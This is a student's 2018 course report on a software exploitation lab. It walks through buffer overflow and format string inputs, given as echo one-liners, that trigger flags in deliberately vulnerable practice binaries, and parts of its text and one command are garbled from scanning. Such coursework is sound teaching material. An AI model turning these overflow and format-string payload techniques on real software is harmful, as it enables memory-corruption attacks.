

Assignment 2

Software Exploitation

Joni Korpihalkola K1625

Report 03/2018 Information and communication technology ICT-field

Jyväskylän ammattikorkeakoulu JAMK University of Applied Sciences

Contents

1	Introduction	2
2	Test system information	2
3	stack_1	3
4	format_1	4
Figures		
Figu	re 1. Virtual machine uname -a and gccversion	2
Figu	re 2. Elfheader -h information for stack_1 and format_1	3
Figu	re 3. Shirley if-check	4
Figu	re 4. Flag_3	4
Figu	re 5. Flag_1	4
Figu	re 6. Flag_2	4
Figu	re 7. Flag_1	4
Figu	re 8. Flag_2	5

1 Introduction

In this assignment the goal was to use buffer overflow and format string vulnerabilities to trigger flags on two programs, stack_1 and format_1. There was also a third program, owall, where the goal was to find as many vulnerabilities as possible.

I tried to understand the subject matter, but it was very rough to get started on the assignments. Eventually I found something that worked, but the commands were discovered too late to expand upon or try to apply what I learned to test the owall program. I spent about 15 hours in total for this assignment.

2 Test system information

The test system is a 16.04 Ubuntu server running on Virtualbox. Specific system information and GCC compiler version are below. (Figure 1.)

Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux gcc (Ubuntu 5.4.0-6ubuntul~16.04.9) 5.4.0 20160609

Figure 1. Virtual machine uname -a and gcc --version

Makefile provided with the c code was used to build the programs. Below are the elfheader stacks for the programs. (Figure 2.)

```
ELF Header:
         7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
 Magic:
                                    ELF32
 Class:
 Data:
                                    2's complement, little endian
                                    1 (current)
 Version:
 OS/ABI:
                                    UNIX - System V
 ABI Version:
 Type:
                                    EXEC (Executable file)
 Machine:
                                    Intel 80386
                                    0x1
 Version:
 Entry point address:
                                    0x8048460
 Start of program headers:
                                  52 (bytes into file)
 Start of section headers:
                                   8536 (bytes into file)
 Flags:
                                    0x0
 Size of this header:
                                    52 (bytes)
 Size of program headers:
                                   32 (bytes)
 Number of program headers:
 Size of section headers:
                                    40 (bytes)
 Number of section headers:
                                    36
 Section header string table index: 33
ELF Header:
 Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
 Class:
                                    ELF32
 Data:
                                    2's complement, little endian
 Version:
                                    1 (current)
 OS/ABI:
                                    UNIX - System V
 ABI Version:
                                    EXEC (Executable file)
 Type:
 Machine:
                                    Intel 80386
 Version:
                                    0x1
 Entry point address:
                                    0x80484d0
 Start of program headers:
                                    52 (bytes into file)
 Start of section headers:
                                   8616 (bytes into file)
 Flags:
                                    0x0
 Size of this header:
                                    52 (bytes)
 Size of program headers:
                                    32 (bytes)
 Number of program headers:
                                   9
 Size of section headers:
                                    40 (bytes)
 Number of section headers:
                                    36
 Section header string table index: 33
```

Figure 2. Elfheader -h information for stack 1 and format 1

3 stack_1

The third flag is the easiest to get, if we look at the code, we see an if-check function that exits from main if the username is not "shirley". (Figure 3.)

```
if (strncmp(username, "shirley", 10)) {
  printf("Who is %s?\n", username);
  return 1;
}
```

Figure 3. Shirley if-check

So feeding the program a "Shirley" returns the flag 3 for us. (Figure 4.)

```
joni@ubuntu:~/exploitables/basic$ echo -ne "shirley" | ./stack_1
Ok, shirley. Try to get the flags next.
Good work, flag_3 done
```

Figure 4. Flag_3

The next step is to use the buffer overflow vulnerability to overwrite values in "canary" variable to get through the if-check to flag1. We can do it by appending "\0x0\" to "Shirley" and then a random value. This pushes the value into the stack and gives us flag1. (Figure 5.)

```
joni@ubuntu:~/exploitables/basic$ echo -ne "shirley\0x0\aaaaa" | ./stack_l
Good work, flag_l done
Good work, flag_3 done
```

Figure 5. Flag 1

To get to flag2, flag1 value needs to be modified to "deadc0de", we can do this by pushing it to the stack and writing it in little endian. (Figure 6.)

```
joni@ubuntu:~/exploitables/basic$ echo -ne "shirley\0x0\xde\xc0\xad\xde" | ./stack_1
Good work, flag_1 done
Good work, flag_2 done
Good work, flag_3 done
```

Figure 6. Flag 2

4 format 1

To modify the value of flag1, we need to fill the buffer with something and then we can modify the flag value. The "%08x" prints 8 digits and pads them with zeroes. We can add number one to the end so the flag is not zero now in the if-check. (Figure 7.)

```
root@ubuntu:/home/joni/exploitables/basic# oni/exploi%08x%08x%08x%08x%08x%08x%08x%08x\" | ./format_l
Welcome, %08x%08x%08x%08x%08x%08x%08x%08x%08xl.
Good work, flag_l done
```

Figure 7. Flag_1

In the next if-check, flag1 value needs to be modified to "0xb0b51ed5" to get the second flag. This can be done by appending the value in little endian to the previous input. (Figure 8.)

Figure 8. Flag_2